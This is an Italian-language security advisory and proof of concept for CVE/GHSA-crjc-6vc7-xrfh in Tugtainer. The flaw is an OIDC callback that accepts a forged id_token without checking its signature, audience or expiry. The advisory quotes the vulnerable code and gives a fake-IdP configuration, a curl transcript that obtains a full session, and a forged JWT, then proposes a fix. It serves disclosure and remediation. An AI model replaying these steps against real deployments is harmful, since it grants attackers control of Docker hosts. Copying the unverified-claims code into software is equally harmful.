
PoC — id_token OIDC accettato senza verifica di firma/audience/scadenza in Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
Stato CVE: richiesto, in attesa di assegnazione. Questa segnalazione è pubblicata come GHSA-crjc-6vc7-xrfh. All'assegnazione della CVE questo repository viene rinominato
CVE-YYYY-NNNNN-tugtainer-PoCe questo banner viene sostituito con il link alla CVE.
| Ricercatore | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (Alto) |
| Debolezza | CWE-347 |
La verifica impropria della firma crittografica nel provider di autenticazione OIDC in backend/modules/auth/providers/auth_oidc_provider.py in Quenary/tugtainer (commit 3138226) consente a un attaccante in grado di controllare o intercettare la risposta di token-exchange tra il backend di tugtainer e il provider OIDC configurato (ad esempio una posizione MITM sulla rete, un identity provider compromesso/malevolo, o una compromissione DNS/TLS-termination su quel percorso) di forgiare un id_token arbitrario e ottenere una sessione tugtainer completamente autenticata, equivalente a quella di un amministratore, per qualsiasi identità, tramite GET /api/auth/oidc/callback.
Quenary/tugtainer — strumento self-hosted per l'auto-aggiornamento di container Docker con interfaccia web, architettura agent/backend.
Commit 31382268bf16df32f33316fe4d601ad1635871d4 (branch predefinito del repository, clonato il 2026-08-05).
8.1 (Alto) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (non AC:L): lo sfruttamento non è una semplice richiesta di rete non autenticata. Richiede che l'attaccante controlli ciò che il token endpoint restituisce al backend durante lo scambio di codice server-to-server — realisticamente una posizione MITM tra il backend di tugtainer e il vero IdP, oppure un IdP compromesso/malevolo di cui il backend è configurato per fidarsi. Si tratta di una precondizione reale e non banale, quindi viene usato AC:H anziché AC:L.UI:N: una volta che l'attaccante ha quella posizione di rete, non è necessaria alcuna interazione della vittima — l'attaccante può gestire l'intero flusso di login da solo (confermato nel PoC di seguito, eseguito end-to-end con curl).C:H/I:H/A:H: la sessione risultante è una sessione tugtainer completa e senza restrizioni (non esiste alcun RBAC/allowlist per le identità OIDC — vedi Dettagli) con accesso a ogni endpoint di gestione di container/host: elencare/leggere tutti gli host e i container Docker, avviare/fermare/terminare/rimuovere container, scaricare immagini e (se ALLOW_HOOKS/ALLOW_EXEC sono abilitati su un host) eseguire comandi all'interno dei container.S:U: l'impatto rimane all'interno del confine di autorizzazione di tugtainer stesso (l'attaccante diventa un utente tugtainer autenticato); non è trattato come un cambio di scope verso un componente autorizzato separatamente.backend/modules/auth/providers/auth_oidc_provider.py, metodo _exchange_oidc_code (righe 267–331), in particolare le righe 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) decodifica in base64 il payload del JWT senza verificare la firma, exp/iat, o aud/iss — l'esatto contrario di ciò che OpenID Connect Core 1.0 §3.1.3.7 richiede a un RP di fare prima di fidarsi di un ID Token. Il commento dello stesso sviluppatore ("not recommended for production") conferma che si trattava di una scorciatoia nota, non di una scelta di progettazione intenzionale.
I claim risultanti fluiscono direttamente nella creazione della sessione senza ulteriori controlli:
callback() (riga 137) chiama _exchange_oidc_code() e poi _create_oidc_user_session() (riga 333), che estrae email/sub/preferred_username (righe 341–345) direttamente dai claim non verificati e genera veri cookie JWT access_token/refresh_token firmati di tugtainer (HttpOnly, SameSite=strict) tramite _set_cookies().grep per pattern allowlist/allowed-email in backend/ non restituisce nulla) — qualunque sub/email sia presente nei claim (non verificati) diventa l'identità della nuova sessione, con lo stesso accesso di qualsiasi altro utente autenticato (tugtainer ha un unico livello di fiducia piatto, nessun RBAC per utente).aud e iss non vengono mai controllati, un ID Token emesso per un client completamente estraneo dello stesso IdP — o, come dimostrato di seguito, uno con una firma spazzatura/non corrispondente e un exp già scaduto — viene accettato altrettanto prontamente quanto uno legittimo.Questo è raggiungibile solo quando OIDC_ENABLED=true (opt-in dell'amministratore), quindi non influisce sulla distribuzione predefinita/solo-password.
Verificato dinamicamente contro l'applicazione reale compilata da questo commit (docker build -f Dockerfile.app), eseguita tramite semplice docker run (non l'immagine pubblicata) con:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Un provider OIDC falso minimale (evidence/fake_idp.py, conservato in questa cartella di engagement) serve un documento di discovery valido e su POST /token restituisce sempre un id_token deliberatamente invalido in ogni modo in cui un RP dovrebbe controllarlo:
aud = "totally-wrong-client-id-not-tugtainers" (non corrisponde a OIDC_CLIENT_ID)exp = 1 ora nel passato (già scaduto)Passaggi (comandi reali, output reale, entrambi i container eseguiti localmente):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Payload di access_token decodificato (così come generato dal firmatario JWT di tugtainer stesso per questo "utente"):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Sessione poi confermata dal vivo contro endpoint protetti:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
Il log del falso IdP conferma l'esatto token forgiato che ha restituito:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
Helper PoC: evidence/fake_idp.py (conservato insieme a questo report).
Non sono incluse schermate — si tratta di un bypass API server-to-server senza componente browser/UI da catturare; il transcript curl sopra è la vera evidenza comando/risposta non modificata.
Qualsiasi attaccante in grado di influenzare la risposta della chiamata di token-exchange OIDC effettuata dal backend di tugtainer (MITM su quel percorso di rete, un IdP malevolo/compromesso, o una compromissione DNS/TLS-termination tra backend e IdP) può generare una sessione tugtainer completamente valida e senza restrizioni come identità arbitraria — senza bisogno di conoscere le credenziali di alcun utente reale e senza interazione da parte di un utente legittimo. Poiché tugtainer non ha RBAC per utente, quella sessione ha pieno accesso all'applicazione: enumerare tutti gli host e i container Docker registrati, avviare/fermare/terminare/rimuovere container, scaricare/etichettare immagini e (dove ALLOW_HOOKS/ALLOW_EXEC dell'agent sono abilitati) eseguire comandi all'interno dei container.
aud/iss/exp mancanti)In _exchange_oidc_code, sostituire jwt.get_unverified_claims(token["id_token"]) con una decodifica che verifica: recuperare il jwks_uri dell'IdP dal documento di discovery, risolvere la chiave di firma tramite kid, e chiamare jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose supporta tutto questo). Questo impone la verifica di firma, exp/iat/nbf, aud e iss secondo la specifica OIDC Core. Si consideri anche l'aggiunta di una allowlist opzionale di valori email/sub accettati per le distribuzioni che condividono un IdP con altre applicazioni.
Dostxodjayev Abdullox (GitHub: squeeze440)
GitHub Security Advisory / Private Vulnerability Reporting su Quenary/tugtainer (PVR confermato abilitato).